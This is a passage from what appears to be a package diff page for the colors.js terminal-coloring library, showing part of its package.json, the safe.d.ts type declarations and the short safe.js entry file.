|
+
"contributors": [
|
7
|
+
{
|
8
|
+
"name": "DABH",
|
9
|
+
"url": "https://github.com/DABH"
|
10
|
+
}
|
11
|
+
],
|
12
|
+
"homepage": "https://github.com/Marak/colors.js",
|
13
|
+
"bugs": "https://github.com/Marak/colors.js/issues",
|
14
|
+
"keywords": [
|
15
|
+
"ansi",
|
16
|
+
"terminal",
|
17
|
+
"colors"
|
18
|
+
],
|
19
|
+
"repository": {
|
20
|
+
"type": "git",
|
21
|
+
"url": "http://github.com/Marak/colors.js.git"
|
22
|
+
},
|
23
|
+
"license": "MIT",
|
24
|
+
"scripts": {
|
25
|
+
"lint": "eslint . --fix",
|
26
|
+
"test": "node tests/basic-test.js && node tests/safe-test.js"
|
27
|
+
},
|
28
|
+
"engines": {
|
29
|
+
"node": ">=0.1.90"
|
30
|
+
},
|
31
|
+
"main": "lib/index.js",
|
32
|
+
"files": [
|
33
|
+
"examples",
|
34
|
+
"lib",
|
35
|
+
"LICENSE",
|
36
|
+
"safe.js",
|
37
|
+
"themes",
|
38
|
+
"index.d.ts",
|
39
|
+
"safe.d.ts"
|
40
|
+
],
|
41
|
+
"devDependencies": {
|
42
|
+
"eslint": "^5.2.0",
|
43
|
+
"eslint-config-google": "^0.11.0"
|
44
|
+
}
|
45
|
+
}
|
package/safe.d.ts
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
// Type definitions for Colors.js 1.2
|
2
|
+
// Project: https://github.com/Marak/colors.js
|
3
|
+
// Definitions by: Bart van der Schoor <https://github.com/Bartvds>, Staffan Eketorp <https://github.com/staeke>
|
4
|
+
// Definitions: https://github.com/Marak/colors.js
|
5
|
+
|
6
|
+
export const enabled: boolean;
|
7
|
+
export function enable(): void;
|
8
|
+
export function disable(): void;
|
9
|
+
export function setTheme(theme: any): void;
|
10
|
+
|
11
|
+
export function strip(str: string): string;
|
12
|
+
export function stripColors(str: string): string;
|
13
|
+
|
14
|
+
export function black(str: string): string;
|
15
|
+
export function red(str: string): string;
|
16
|
+
export function green(str: string): string;
|
17
|
+
export function yellow(str: string): string;
|
18
|
+
export function blue(str: string): string;
|
19
|
+
export function magenta(str: string): string;
|
20
|
+
export function cyan(str: string): string;
|
21
|
+
export function white(str: string): string;
|
22
|
+
export function gray(str: string): string;
|
23
|
+
export function grey(str: string): string;
|
24
|
+
|
25
|
+
export function bgBlack(str: string): string;
|
26
|
+
export function bgRed(str: string): string;
|
27
|
+
export function bgGreen(str: string): string;
|
28
|
+
export function bgYellow(str: string): string;
|
29
|
+
export function bgBlue(str: string): string;
|
30
|
+
export function bgMagenta(str: string): string;
|
31
|
+
export function bgCyan(str: string): string;
|
32
|
+
export function bgWhite(str: string): string;
|
33
|
+
|
34
|
+
export function reset(str: string): string;
|
35
|
+
export function bold(str: string): string;
|
36
|
+
export function dim(str: string): string;
|
37
|
+
export function italic(str: string): string;
|
38
|
+
export function underline(str: string): string;
|
39
|
+
export function inverse(str: string): string;
|
40
|
+
export function hidden(str: string): string;
|
41
|
+
export function strikethrough(str: string): string;
|
42
|
+
|
43
|
+
export function rainbow(str: string): string;
|
44
|
+
export function zebra(str: string): string;
|
45
|
+
export function america(str: string): string;
|
46
|
+
export function trap(str: string): string;
|
47
|
+
export function random(str: string): string;
|
48
|
+
export function zalgo(str: string): string;
|
package/safe.js
ADDED
@@ -0,0 +1,10 @@
|
|
1
|
+
//
|
2
|
+
// Remark: Requiring this file will use the "safe" colors API,
|
3
|
+
// which will not touch String.prototype.
|
4
|
+
//
|
5
|
+
// var colors = require('colors/safe');
|
6
|
+
// colors.red("foo")
|
7
|
+
//
|
8
|
+
//
|
9
|
+
var colors = require('./lib/colors');
|
10
|
+
module['exports'] = colors;
|